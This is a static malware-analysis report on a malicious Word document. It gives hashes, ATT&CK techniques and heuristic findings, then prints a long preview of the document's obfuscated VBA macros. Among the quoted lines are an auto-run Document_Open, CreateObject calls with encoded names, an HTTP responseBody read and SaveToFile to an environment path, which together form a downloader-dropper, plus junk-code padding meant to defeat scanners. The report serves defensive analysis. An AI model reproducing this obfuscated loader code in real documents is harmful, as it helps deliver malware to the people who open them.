Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d11b786cf3291bc6…

MALICIOUS

Office (OLE)

594.0 KB Created: 2018-10-04 03:28:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: d1be22225dae4c530b6e07788f1b09a9 SHA-1: 90c470044d31777d4697b7d061449b252edb3a04 SHA-256: d11b786cf3291bc6c07773c60a22e25be9261ebee3e30ba959a6c1ae407a47da
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a Microsoft Office document containing heavily obfuscated VBA macros. Critical heuristics indicate that these macros are designed to download and execute a file from a URL. The presence of an auto-executing macro like Document_Open, combined with CreateObject and execution sink calls, strongly suggests a downloader or initial payload dropper.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        rNIbm = vYmsV.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set jDrFv = CreateObject(qoHtJT("Aag ywDOai dONu vtD#l%NkB ][ Q.xp_  SlfQ]xt@ DmUrw& une e  yaQ#UJ(mfspI@"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set jDrFv = CreateObject(qoHtJT("Aag ywDOai dONu vtD#l%NkB ][ Q.xp_  SlfQ]xt@ DmUrw& une e  yaQ#UJ(mfspI@"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call jDrFv.SaveToFile(Environ(qoHtJT("Ayc[ zlv)!n l$  (CUzGsmVs$MBkge IgykrhwqPXsBZ(e PV Xo r nKhEogQSI)f $?goia J!^lK X$BeD_ rf")) & qoHtJT("\OEJDK\VEr_Ls-]m%PLU dMwKOqKL?N!r L$Hbij TxhlkM LLeye(. iiy!eg# %ex)R.eIevz  O"), 5 + 3 - 6)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 231740 bytes
SHA-256: 5752f3078506387d3f905e8059c26a1cffdc6e28eea4b7e81dec00f86eac309c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1043 of 1699 identifiers look randomly generated (e.g. 'tbDWSHGNMhzjNiwhXGvt') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Sub Document_Open()
    PAFEBTQpNgD = Space(17) + UCase("Q SS. w))s")
    yyxjxtk = RTrim(" ^ N MW    cXkAe.Tox")
    For eohgTK = 1 To 5
        jUIUcCNiIl = 383 - 272 - 176
        

        PAFEBTQpNgD = LTrim("wK [J C  h") + RTrim("LxjB.%GL-  tD")
        

        rOlUb = Left("dD qMKjIeGh#Myf  YCV", 4) + LTrim("itI h@GQ  fK^@  ")
        SFvjZDsvuYy = RTrim("Kn   UZUP?   ")
        iVJWIEqQvL = LTrim("  r   Qjfc Z#Fu") + RTrim(" sLR skhaa F")
        IXNMiZz = 390 - 392 - 386
    Next eohgTK

    While tWGuRM < 5
        While JSypXJ < 4
            

            cZjiMi = Space(11) + UCase("V.  $^%c i&  ")
            DLBRUCJgqbkB = UCase("y@oE IE wyZ ?  Re$")
            aFSGcgt = Left("hKz@I)vm r!", 2) + LTrim("pNaZ_n K@Ut")
            DLBRUCJgqbkB = Left("U S GHC D- LYaz!F$hc", 3) + LTrim("MDi T]mJj  Od#")
            BvUKAsQKDM = UCase("AvlC$Z  NgU.D)")
            XRRfEJH = Left("R #G e. o$p Nz", 5) + LTrim("  .%uk& -Ts")
            JSypXJ = JSypXJ + 3
        Wend

        eTlKKJlnXYD = RTrim("XnuN!nM W[ l b qlu")
        shSmgrB = Space(4) + UCase("r$ Q[wrrzP  Uk_z")
        

        shSmgrB = 575 + 1099 + 1227
        MKJpASY = 363 - 198 - 493
        mtgXHBsqdB = Left(" E evD(G ?   u T LP", 4) + LTrim("pGKJLY  O(X h$ @s")
        aYoAYdFPik = 441 - 131 - 134
        WYDVpvpL = 251 - 305 - 169
        CLimmygkNcf = Right("k__Oc SUPPy)ED", 5)
        tWGuRM = tWGuRM + 3
    Wend

    While TsSALd < 3
        While XCKnkv < 5
            WfsEJpxTaAt = LTrim("Mju$Nu S$RdUrQ") + RTrim("(  iSCq  I)Q")
            IXNMiZz = 337 - 202 - 489
            PAFEBTQpNgD = 1758 + 535 + 164
            jfqDywnj = Right("_  lj M W jJ%iSh", 4)
            IheEuJ = LTrim("%& ws dfNMpu ECxb") + RTrim("U EU$A & BY bGrYq")
            shSmgrB = StrReverse("j D Mas  BhklAKr^") + Left("PxUMKO Xr )v", 3)
            uFIrnZBWEd = Right("QQ]UE U^pvE H ", 2)
            XRRfEJH = Space(8) + UCase("KPPsCkO LH fS& j xmm")
            XCKnkv = XCKnkv + 2
        Wend

        ZUqotkuFV = LTrim("SZ  $ @ TR Rb  jS") + RTrim("z x I Kcg ")
        aFSGcgt = RTrim("bC_ -AVz_.eL nXIG")
        YHRHEB = StrReverse("CaT!xuj yxl rk DJ") + Left("b&D wai?Y  f  %  ", 5)
        aYoAYdFPik = RTrim("$rLUxkx  jZC")
        

        YHRHEB = Left("  . FF   dhQQPbivgg", 5) + LTrim(" ihzlw aYfVa UBB")
        fSbgSFKPcZ = StrReverse("B]C  .  u   !Eb ") + Left("qdIKw bqmJ@i", 4)
        TTTNTTrZl = UCase("G@W  fARva $@kTi No")
        TsSALd = TsSALd + 2
    Wend

    CLimmygkNcf = StrReverse("# )@jbS%k l L  EMH") + Left("!C&ZcWhZn  rJ!r", 5)
    DLBRUCJgqbkB = Space(2) + UCase(" K  VX  Rky k")
    pceAvQEaeL = 1190 + 482 + 283
    WfsEJpxTaAt = UCase("fVTW_l(jTc AJ.d lp")
    While hilwqo < 3
        While YDVums < 1
            FAlYpRkf = UCase("_b Wm BS$j!")
            shSmgrB = 640 + 291 + 613
            

            aeYddvPjYb = LTrim("(@lSqMsfQaL@G  krK") + RTrim(" aPi@sVhZ $  Sq")
            nBcpKNQRfbwY = 209 - 341 - 373
            iVJWIEqQvL = RTrim("L  Fm B  I")
            MWTKsNe = Left("QiPs jl]k-", 3) + LTrim("J S  oKZpvh")
            ZUqotkuFV = UCase("BRIKpR V #")
            QHvXHrnC = Left(" ]( ] Pi OXXfv& U q]", 4) + LTrim("@QR  tcAU H?Oh( o")
            IXNMiZz = Space(7) + UCase("E  P QX@Q _L A G ")
            YDVums = YDVums + 1
        Wend

        KOErcCGeGk = 409 - 463 - 369
        IheEuJ = StrReverse("GfUmWCtB#zU[") + Left(" nDAkNy !y sK", 4)
        IheEuJ = 193 - 206 - 404
        TGJKl = LTrim(" g&)xdrY  zY c Be") + RTrim("GyTwsI Yv]X FqY")
        TGJKl = 465 - 250 - 490
        MKJpASY = UCase(" %jL- $udI")
        uFIrnZBWEd = 1855 + 743 + 341
        oalvyHJrWGU = Right("Gl@[bg FCt[MBqm  ?", 4)
        hilwqo = hilwqo + 1
    Wend

    iVJWIEqQvL = Left("jm _Os&& Fmn wOn", 5) + LTrim("FPCbOq)lBe")
    FAlYpRkf = LTrim("deB_IrC ] ") + RTrim(" o(XJ ?DRwr #  D_V$")
    While yORPbx < 3
        While nRwXkn < 1
            SFvjZDsvuYy = Right("@? v PP SuBJpsBnmjdM", 5)
            

            QHvXHrnC = LTrim("!   .ZQ  Du vA(s") + RTrim("RE?Bz  ri_x q ^ytu ")
            eTlKKJlnXYD = 252 - 275 - 231
            PAFEBTQpNgD = 242 - 338 - 383
            FAlYpRkf = 170 - 170 - 296
            nRwXkn = nRwXkn + 1
        Wend

        QHvXHrnC = RTrim("nJ] $ $nCsk ")
        uFIrnZBWEd = UCase("  R z.BiX w  c")
        OgVHJX = StrReverse("@ $    Dm )J  #pb") + Left("HbQ^  $ w  %CE w", 2)
        HlrctMZ = Space(20) + UCase("CD  D . pWqH ")
        fSbgSFKPcZ = Left(" I) Mnnsl Az  PA", 4) + LTrim("u%$i Wgt  Qa W  K -l")
        IhSuKPtzz = 1036 + 837 + 928
        yyxjxtk = RTrim("   l ILk(^ ")
        IheEuJ = Right(" tOEvP  Vl Ud!", 5)
        yORPbx = yORPbx + 3
    Wend

    pwzHJoCv = 182 - 390 - 390
    KOErcCGeGk = 145 - 170 - 290
HBqcAe
    While iNwqXm < 2
        For KugjDC = 1 To 5
            VvHFiAMxWPhD = 456 - 363 - 254
            iVJWIEqQvL = StrReverse("#B & oty ?cCf%  fd") + Left("hImN wYT G_w     ]Rd", 4)
            cZjiMi = 1653 + 1020 + 925
            gCxQRMkqg = RTrim("M f  TEx ( QW  A")
            WrILq = Space(20) + UCase("UX rV%IC  MC")
            MKJpASY = Space(3) + UCase(" R  _b  ApT Vy]  mgd")
            QHvXHrnC = 296 - 282 - 382
            pceAvQEaeL = Right("Xt  ^ Au% n i?  ", 4)
            cZjiMi = RTrim("fKlv-AIB H Qi")
            PAFEBTQpNgD = Left("m  WGCA v#lae  Q", 4) + LTrim("o TD & AIL G ")
        Next KugjDC

        TTTNTTrZl = Left("RlWIW  T GgMm RcxON ", 3) + LTrim("? pvC  yAvg% KU Q")
        

        FAlYpRkf = 993 + 1111 + 1658
        uFIrnZBWEd = Right("d@xT?YaLr vbD^", 3)
        

        HlrctMZ = Left("  ^ P &hN?", 2) + LTrim("CP LW [gG W")
        MKJpASY = UCase(" @YGZslo  Dd p  ")
        iNwqXm = iNwqXm + 1
    Wend

    gCxQRMkqg = LTrim(" ib oHlor^s ") + RTrim(" FgRp#pI -V wc@ ")
    WFUoDlzt = Left("pwB.z A gOxC)y_a", 2) + LTrim("# bN LIPiO  ]qG")
    pceAvQEaeL = Right(" XB[gasH _%", 3)
    TGJKl = Left("S]u &O  Y   ", 4) + LTrim("   ziihO@ cKl")
    uFIrnZBWEd = RTrim("m(o !s ?^ R")
    OgVHJX = 370 + 1562 + 132
    mxAbDBEqMJFQ = 1973 + 144 + 1661
    For aQEsjz = 1 To 5
        PAFEBTQpNgD = LTrim("_D-zb w FX#KED  ") + RTrim("]DqH V!)ecC  Qe  ")
        aeYddvPjYb = 299 - 108 - 329
        nBcpKNQRfbwY = UCase("Vo  !RZaExAA UD o")
        pceAvQEaeL = RTrim("&U @ H n    ")
        

        SFvjZDsvuYy = 327 - 270 - 337
        rOlUb = Space(8) + UCase("P-_Yc^T fQkyu")
        WFUoDlzt = StrReverse("Wq ?O  ^N z-C") + Left(" c khD LF-O ! ", 2)
        yyxjxtk = RTrim("k $kzAGbAgq")
    Next aQEsjz

    aFSGcgt = 691 + 1409 + 229


End Sub



Attribute VB_Name = "Module1"
Function ySeBpu(yAzbZmr As Double, LBxJyM As Double, JHaURcl As Double) As String
    aYoAYdFPik = UCase("  Y[.at@ vB Y scx")
    yyxjxtk = Right(".tk ^i g [ M  OKm]T", 3)
    IheEuJ = UCase(" [x .dby$z CD.X  h")
    jUIUcCNiIl = Left("@.gzClZa ^l mQ", 4) + LTrim("s   (rj Q T_! !")
    QHvXHrnC = UCase("#V #  rb )n M^-")
    JRIuctM = LTrim("zJXq[HF   ^Q ") + RTrim("WC@QpyZqN  D@- W")
    mxAbDBEqMJFQ = 1617 + 1269 + 1663
    While WOVZut < 4
        IheEuJ = Left("]Z eH ^f DOK", 3) + LTrim(" %rwob[&U _Q-")
        WrILq = Right("ZZf b )VS[$SL^X", 3)
        mtgXHBsqdB = RTrim("Q@%GlKrC^ ZeU")
        MWTKsNe = Right("uX?DkW r]   yyHl Z!o", 5)
        shSmgrB = StrReverse("anPz&-T]TF (kV X") + Left("sX qaHB[xnp", 3)
        ZUqotkuFV = Left("FWA  g_$?S", 5) + LTrim(" kA JCi a TDQYiC  x")
        IhSuKPtzz = 467 + 1945 + 1545
        aFSGcgt = 384 - 164 - 497
        WOVZut = WOVZut + 3
    Wend

    For yByBJv = 1 To 2
        For bQzCKX = 1 To 9
            FAlYpRkf = UCase(")R& GD ^_.)d] C M")
            aYoAYdFPik = Space(6) + UCase("KZb??.e h  l")
            eTlKKJlnXYD = Left("oY)fVJ . F", 5) + LTrim("u   DW m   ")
            

            WYDVpvpL = UCase(" cSVsk ? [Dh I")
            OgVHJX = RTrim(" up #V? N B")
            

            shSmgrB = Right(" VY   zfS -   ", 4)
            oalvyHJrWGU = LTrim(")#Mc)z_UhiY X H NEk") + RTrim("D[m.ZxMZz^Y%")
            BWAtvtXEnVy = Right("W    E$]bKFav OW ZA", 3)
        Next bQzCKX

        eTlKKJlnXYD = RTrim("  )))touBL[x ")
        TTTNTTrZl = UCase("  XWB(& H y ?C")
        PAFEBTQpNgD = 937 + 630 + 139
        aeYddvPjYb = RTrim("c&M^ o ILGXB vn!")
        eTlKKJlnXYD = 357 + 269 + 788
        pceAvQEaeL = Right(" dT#m@a$e?HP$ fny-g ", 2)
        FAlYpRkf = 499 - 407 - 408
        rOlUb = Right("jNItvRUz^R", 4)
        pwzHJoCv = StrReverse(" vVMq JoRNW .zW") + Left("QJa @ r(t H", 2)
    Next yByBJv

    PAFEBTQpNgD = Left("WUi^ s [h LBb", 2) + LTrim("  dU!ov_u p) ?H cFaV")
    XRRfEJH = 1922 + 1582 + 389
    While mgiKBw < 1
        While tOEZpz < 4
            IXNMiZz = Space(2) + UCase("B% l  WQluSug N#[K ")
            

            PAFEBTQpNgD = Space(12) + UCase("  hpT(DB ])suqL  ")
            OgVHJX = Space(19) + UCase("&^ s usBl ) n ")
            jfqDywnj = UCase("JQ(Pxd.&AJ")
            

            QHvXHrnC = Right("vW NDb SJ%. M AP%", 2)
            oalvyHJrWGU = Left("P$]wLY TZ mg)SI SI", 3) + LTrim("[od  dzx#mI k")
            aeYddvPjYb = 463 - 489 - 384
            zpCNNFdnzA = Right("y$n #[# WZw@gD? C!", 4)
            tOEZpz = tOEZpz + 3
        Wend

        WYDVpvpL = 1702 + 543 + 1181
        TGJKl = StrReverse("uI MFIh%N d^") + Left("W  O  HX D", 5)
        nBcpKNQRfbwY = RTrim("oE ohH %Z#C.BJL")
        

        MWTKsNe = LTrim("eJK& aaAuv)Vkc ") + RTrim(") huyk^mEbF# p")
        XRRfEJH = Left("rzdeFKlm[ u", 2) + LTrim("gHFC)SuRCQ.")
        KOErcCGeGk = 220 - 386 - 466
        mgiKBw = mgiKBw + 3
    Wend

    

    aFSGcgt = RTrim("J  f ]xzna? UG")
    ySeBpu = "hjTIvCPAwPchfP"
End Function



Attribute VB_Name = "Module2"

Sub YAcfve(RmpYkmZ As Boolean, idUyYF As Double, TbquKY As Integer)
    fSbgSFKPcZ = 307 - 349 - 171
    

    yyxjxtk = Right("?k y $MJ (@ V  ", 3)
    ZUqotkuFV = Right("Fv #ZIAR   r^)Wm iv.", 4)
    JRIuctM = Left("D i#HlIKlz", 5) + LTrim("  eqzYLb_ JM RIi")
    iXELEdRkrc = Left("%^zj bsNMsVr.A", 4) + LTrim("S Ilob.aLX GE-]")
    rOlUb = Left("dh  _otwNb@ K", 4) + LTrim("^V Fv@A E@y&")
    ZUqotkuFV = RTrim("K?yFl JKS!v  ")
    WrILq = UCase(" A-h  Wsa#W C!   EG")
    YHRHEB = 236 - 191 - 279
    pceAvQEaeL = StrReverse("    z(Ez .]) ") + Left("qcyV $xD WR K", 3)
    While LoFWWj < 1
        WFUoDlzt = Right("rQqH  U UZcWU?shUA", 5)
        QHvXHrnC = 327 - 193 - 171
        

        DLBRUCJgqbkB = Left("  % bYa[(N g(zl V", 4) + LTrim("SXNMW$kfm c Z")
        eTlKKJlnXYD = Left(" Qi]Wqugq ", 2) + LTrim(" fYW   kQA] ")
        LoFWWj = LoFWWj + 3
    Wend

    PAFEBTQpNgD = 1866 + 1524 + 1608
    

    gCxQRMkqg = UCase("[FS UcA. z A t_O.m?$")
    DLBRUCJgqbkB = 1812 + 1804 + 652
    jUIUcCNiIl = RTrim("Z fR@AckO  Q zB")
    MWTKsNe = 290 - 170 - 345
    rOlUb = StrReverse("c z f?dVo# ed [f (Q") + Left(" G! tF(cvn", 3)
End Sub



Sub NfFylt(EmIIip As Integer, rwsvxB As Boolean, EkFlbi As Boolean)
    VvHFiAMxWPhD = 312 - 101 - 442
    SFvjZDsvuYy = UCase("BKy.XJD(dR")
    BvUKAsQKDM = UCase("q Rreo]ODLz) LCg O")
    zpCNNFdnzA = LTrim("puX h %ND#AwM   d D") + RTrim(" ?IxR ) eESxO")
    uFIrnZBWEd = UCase("F# Ommv#m   Mi ZuPU")
    jfqDywnj = LTrim("(lLD DXOUY spJ") + RTrim("NneLf% (^S")
    IhSuKPtzz = Space(2) + UCase("n Ll%Iwkdk[-$br (k-^")
    

    DLBRUCJgqbkB = LTrim("I    E zNSN") + RTrim("F q@B&@NQhc  z.^(")
    nBcpKNQRfbwY = 1509 + 1168 + 997
    While spmCtk < 3
        While MdCMJQ < 1
            WfsEJpxTaAt = RTrim("Uy Klv?jWAY")
            CLimmygkNcf = Left("fN$(J KZMw", 3) + LTrim(" hM  Vm RfL")
            YHRHEB = 1731 + 244 + 1479
            uFIrnZBWEd = 256 - 280 - 153
            rOlUb = Left("UywjgU f&crf ", 5) + LTrim("ze?p^B   OsDQb ")
            shSmgrB = LTrim("u  C lZ%Q$&l RLL) ") + RTrim(" ZK l#pLb(fCD  Xv ]")
            FAlYpRkf = Right("h%IR zQr     W ", 2)
            eTlKKJlnXYD = 891 + 732 + 1572
            iVJWIEqQvL = 435 - 377 - 271
            fSbgSFKPcZ = Space(13) + UCase(".YSU A#wy q?  _RvB ")
            MdCMJQ = MdCMJQ + 3
        Wend

        PAFEBTQpNgD = RTrim(" @HZM] uf^Z")
        cZjiMi = StrReverse("S   o-zGqOl)bp @YSQ ") + Left("[ dYP ! SEUS&_j ", 5)
        WFUoDlzt = 356 - 428 - 298
        VvHFiAMxWPhD = RTrim("r c$c lkH%$")
        QHvXHrnC = Space(18) + UCase("fTL U AK   ")
        spmCtk = spmCtk + 3
    Wend

    iVJWIEqQvL = StrReverse("Ls)  N? wo .") + Left("akNiQ KYDEv!Z r ", 5)
    

    BvUKAsQKDM = Space(14) + UCase("$  Mk-Y  K  YR^W")
    For HmULbD = 1 To 2
        While sojobx < 5
            yyxjxtk = LTrim("Y !f&o IRBoz") + RTrim("^KZNJ z D#")
            

            shSmgrB = Space(8) + UCase("&hgp(s!RKL hhO")
            pwzHJoCv = UCase(" lKiSlCt JgK#_lAGlp ")
            iXELEdRkrc = Right("X[b y_pAI_", 5)
            WfsEJpxTaAt = Space(4) + UCase("u! QdMU F ")
            sojobx = sojobx + 2
        Wend

        aYoAYdFPik = Right(" Z kb   A Wa@] ", 3)
        

        cZjiMi = StrReverse("OJ@qLM_P  . AT") + Left("g!c.NrIb &GxV#)iHpWK", 5)
        pceAvQEaeL = 798 + 1105 + 840
        

        yyxjxtk = Space(10) + UCase("m  KB-_Drp-@  BW")
        

    Next HmULbD

    PAFEBTQpNgD = UCase("k!rg QZOq Q")
    oalvyHJrWGU = Right("YU?rb  R   csQI ", 5)
    oalvyHJrWGU = Right("yNma cZ  h", 2)
End Sub



Attribute VB_Name = "Module3"

Sub XsQdGf(uaSWvQ As Integer, UviVPDE As Double, tVCCDK As Boolean, zLMHOT As Double)
    IhSuKPtzz = RTrim("bI# oMt I$V?I")
    shSmgrB = RTrim("bZU   &   ! V ")
    pXLTBdMz = LTrim("  N- E w^H") + RTrim("Y  y)SZ) gCl j@Sc&i")
    HlrctMZ = RTrim(" .Q]@p^rNKWc  $  ")
    For QjADcC = 1 To 5
        iVJWIEqQvL = LTrim("Ga ( R MFo") + RTrim("R M %LJH!c a]")
        mtgXHBsqdB = StrReverse("LU(   G  W  [st") + Left("F  U k nmv ) r^NDfsa", 5)
        fSbgSFKPcZ = Left(" r F(ebHZQ    lt", 4) + LTrim("d  r zk VNd_gF)U?#e")
        

        TGJKl = StrReverse("?[zZH  )Az[_a") + Left("PFuOlUrV^ $ -Ku", 5)
        aFSGcgt = LTrim("a u ioe(xPPhW") + RTrim(" zt f eHt%X")
        DLBRUCJgqbkB = StrReverse("E Ka bBED _v xwN") + Left("V &tw  S  a", 2)
        

        mtgXHBsqdB = Right("Ab  IIf Mab ", 5)
        IXNMiZz = Left("b[! ) pxPjN m I", 4) + LTrim("e_Vin -G(?MSIX(k")
    Next QjADcC

    pceAvQEaeL = RTrim("Jf?#C CvlO &")
    FAlYpRkf = Right("Tyu%a#Wywj G[K[m&) l", 5)
    For SnyFTI = 1 To 7
        FAlYpRkf = Left("sdg )$HOL tU ", 3) + LTrim("X A f$ &pE!Ar")
        uFIrnZBWEd = 445 - 235 - 344
        jfqDywnj = 1805 + 1504 + 1977
        pwzHJoCv = Space(12) + UCase("J_l. ^z&qr rYx F$q")
        CLimmygkNcf = StrReverse("!&   wjtYR^e%  ") + Left(" )y  PJv&rACu G  v S", 5)
        

    Next SnyFTI

    XRRfEJH = Space(12) + UCase("&C   .uv   I. wD  ")
    While eNcEIF < 2
        While HzERNv < 4
            WrILq = 381 - 494 - 461
            

            oalvyHJrWGU = LTrim("FlH[^ O?PjKdYJa") + RTrim("]D? v rE  Y Y ")
            

            shSmgrB = RTrim(" m  vI?iwJV")
            BvUKAsQKDM = Space(6) + UCase(" w K-lNr_kxhAf$^%")
            IXNMiZz = RTrim("f!UN%m dMA")
            HzERNv = HzERNv + 3
        Wend

        WrILq = StrReverse("f ptJ Kl lD") + Left("fUl%UzD   (", 5)
        uFIrnZBWEd = Right("s% L .BnXr", 5)
        pwzHJoCv = StrReverse(" A $GWUkj#c.  UV_#EF") + Left("%S( O&]tz_ p", 4)
        

        pXLTBdMz = UCase("x    D ]Rf# A&")
        gCxQRMkqg = 1398 + 1858 + 555
        eNcEIF = eNcEIF + 3
    Wend

    MWTKsNe = Right("fy Tc-Gx$ ( g", 3)
    BvUKAsQKDM = StrReverse("S Lxbs?  B L ") + Left("KoCPwGXTJ@", 5)
End Sub



Attribute VB_Name = "Module4"

Sub UqXhnp(JGhqLBq As Integer)
    pceAvQEaeL = Right("E ?_DLw  ^eK^   ", 4)
    oalvyHJrWGU = UCase("cK %ZAo DVh Bz ")
    pceAvQEaeL = LTrim(" # f  TAM   Ip ") + RTrim("QZ    K QTpM-w k C% ")
    XRRfEJH = UCase("Dt!   cK#J- ")
    MWTKsNe = LTrim("J]@S@Yk qB") + RTrim(" ^H %NS WmkDD$   G")
    zpCNNFdnzA = LTrim("lZ  vs C  [$v ") + RTrim("PidBU )t]A")
    jfqDywnj = 236 - 315 - 440
    shSmgrB = Right("uBp  L nx ", 4)
    WfsEJpxTaAt = 279 - 499 - 291
    MWTKsNe = Left("R@ ^  s& e[#H! VJ_  ", 4) + LTrim("PuK.Zg (Jdf")
    

    zpCNNFdnzA = StrReverse("y __-gT RU ") + Left("Prdd(EDG   r", 3)
End Sub



Sub kozaWZ(kVqhGE As Integer, yGIjChZ As Boolean, SOmwVq As String, UrafITC As Double, SRTNju As Boolean)
    WrILq = Left("tSoN w^]mJo_tku? .", 2) + LTrim("&pgWD!O]( k    O xz#")
    MKJpASY = Right("i F X bG[[A", 2)
    VvHFiAMxWPhD = RTrim("  jSnhOw.Z r&o")
    For vFzwmg = 1 To 7
        MWTKsNe = Space(11) + UCase("AxCN^Y MOm")
        FAlYpRkf = StrReverse("F$Sk ^Xc ?]Ed ") + Left(" NfpvP^w- &]&", 3)
        DLBRUCJgqbkB = Space(2) + UCase("XIlW  [Hb kF Y   ")
        aFSGcgt = Space(4) + UCase(" cfXUwd   _")
        IXNMiZz = 307 - 370 - 480
        WfsEJpxTaAt = RTrim("  qtn  jq Z   ")
        SFvjZDsvuYy = Space(18) + UCase("   p)UY%qtlf QPLDwfK")
    Next vFzwmg

    HlrctMZ = LTrim("IdYAFp%S Ej  ") + RTrim("i ErV]!&A_v&NdtT(Pc")
    oalvyHJrWGU = 1522 + 1565 + 1228
    zpCNNFdnzA = UCase("kRY  P   Vc hPr U ")
    For Ekeewa = 1 To 3
        While OAIpgm < 4
            KOErcCGeGk = StrReverse("Gw!g fav zmt vl") + Left("i Ko? (z! nVv@o $WM", 5)
            jUIUcCNiIl = LTrim("ey  @ddnnLWwY[") + RTrim("i %Gqdd[Z  l Jqnb")
            pXLTBdMz = Space(17) + UCase("XM_iS F&.[ %")
            IXNMiZz = 1962 + 1697 + 1881
            MKJpASY = Space(6) + UCase("pwv(Gb s WP T[ lt P")
            WFUoDlzt = LTrim("c Sa w ]ok") + RTrim("y^E  X b co   kO  ")
            HlrctMZ = Left("@ ngdE   D d . &^]R ", 2) + LTrim("sS e   T )T_")
            PAFEBTQpNgD = Space(11) + UCase("IqIn#G   y  %  q w")
            WrILq = 884 + 1601 + 1689
            OAIpgm = OAIpgm + 2
        Wend

        iVJWIEqQvL = LTrim("iM@  CxL     cGEMR ") + RTrim("zQdV& Q LLg(wel VTpb")
        

        WrILq = Right(".cI! KkN^T]Qn", 2)
        BvUKAsQKDM = Left("oR]Ngggi Bk(", 4) + LTrim("zk o#IN wz")
        fSbgSFKPcZ = UCase("TY H c]Qm H &LP zX")
        KOErcCGeGk = 814 + 1082 + 778
        BvUKAsQKDM = Right("C#i Sx p  #KL", 2)
        jUIUcCNiIl = Right("  w(lp  ]r?_.D^Cz Y", 5)
    Next Ekeewa

    TTTNTTrZl = UCase(" (uc a)  C   vt ")
    WFUoDlzt = Left("^]y ? GHWq ", 5) + LTrim("x?) p VBXXV%]ad  ")
    

    IhSuKPtzz = Left("FWxeB^l o $ Sn?d", 2) + LTrim("s%bb AbU&Zd nKk")
    

End Sub



Sub ruwKfj(oOlSVC As String)
    uFIrnZBWEd = Space(14) + UCase("m My.)  WPgx")
    WfsEJpxTaAt = Space(4) + UCase("t.@] )jlMG e.")
    ZUqotkuFV = UCase("M^  K&W IE  ")
    iVJWIEqQvL = Right(")La X  X yE     n", 4)
    CLimmygkNcf = RTrim("w^IZIU ?ww N @ mD h")
    For OhrGrS = 1 To 4
        While moUjtI < 4
            WrILq = Space(12) + UCase("  Z [bW? E[TQVE#")
            WrILq = 301 - 116 - 316
            aFSGcgt = RTrim(" &aa[s fcnHDLU@")
            WrILq = 218 - 382 - 318
            HlrctMZ = Right(" It]kiF(w  hu", 5)
            aYoAYdFPik = 312 + 309 + 1698
            aYoAYdFPik = StrReverse(" In-z  Oc h") + Left("  SztmTXpO ! N", 4)
            

            VvHFiAMxWPhD = StrReverse(".Ew gNG !kF") + Left(" S B[S oP  X", 2)
            OgVHJX = 1580 + 1216 + 953
            moUjtI = moUjtI + 2
        Wend

        WrILq = LTrim("  ysGJcfm lCT lZ -Ni") + RTrim("U   HVp%  ZmT$ .")
        cZjiMi = UCase("O ]W ! Iv%N G !hH n")
        VvHFiAMxWPhD = StrReverse("zD KB@iJK gdSJ r iSW") + Left("bVEq^ wSb IU", 4)
        TGJKl = StrReverse("GziBr$?)Mo Hz") + Left(" C.mYBdH .O. lth  ", 2)
        QHvXHrnC = Right("Excc%Vy Vs-csy", 2)
        TTTNTTrZl = 250 - 391 - 455
        DLBRUCJgqbkB = Left(" M)NpF  pk!l Bb", 4) + LTrim("F?] _SOV? A  .C  cFm")
    Next OhrGrS

    While yiGMFj < 2
        For DzPAJu = 1 To 6
            shSmgrB = UCase("$YRJi]XY BUxXLCF]]")
            WfsEJpxTaAt = Space(19) + UCase("@bIBpEyc kIae B@")
            shSmgrB = 452 - 208 - 406
            MKJpASY = StrReverse("c.fA  B QC") + Left(" WgpK&cNF G", 5)
            jUIUcCNiIl = StrReverse("ntfn TeK ]B ") + Left(" UpB&bL&!o f- s #.C", 2)
            aYoAYdFPik = 176 + 251 + 1702
            IXNMiZz = 1805 + 205 + 1198
            XRRfEJH = StrReverse("c ^ C qdV! B@   Qo") + Left("O ]   xfUPc#S^", 5)
        Next DzPAJu

        IhSuKPtzz = UCase(" hm  eN  G  ] xueAqd")
        rOlUb = Space(7) + UCase("^  j wH  ()qnjhV lJ")
        

        yyxjxtk = Right("(y  N(iP] Wc llqDTgr", 4)
        cZjiMi = Right("$OaPne?z@ek Am]_y- ", 4)
        FAlYpRkf = 1956 + 218 + 545
        aFSGcgt = LTrim("x #Sgz Kl Q") + RTrim("AJ -Q@Jq ]# oS")
        

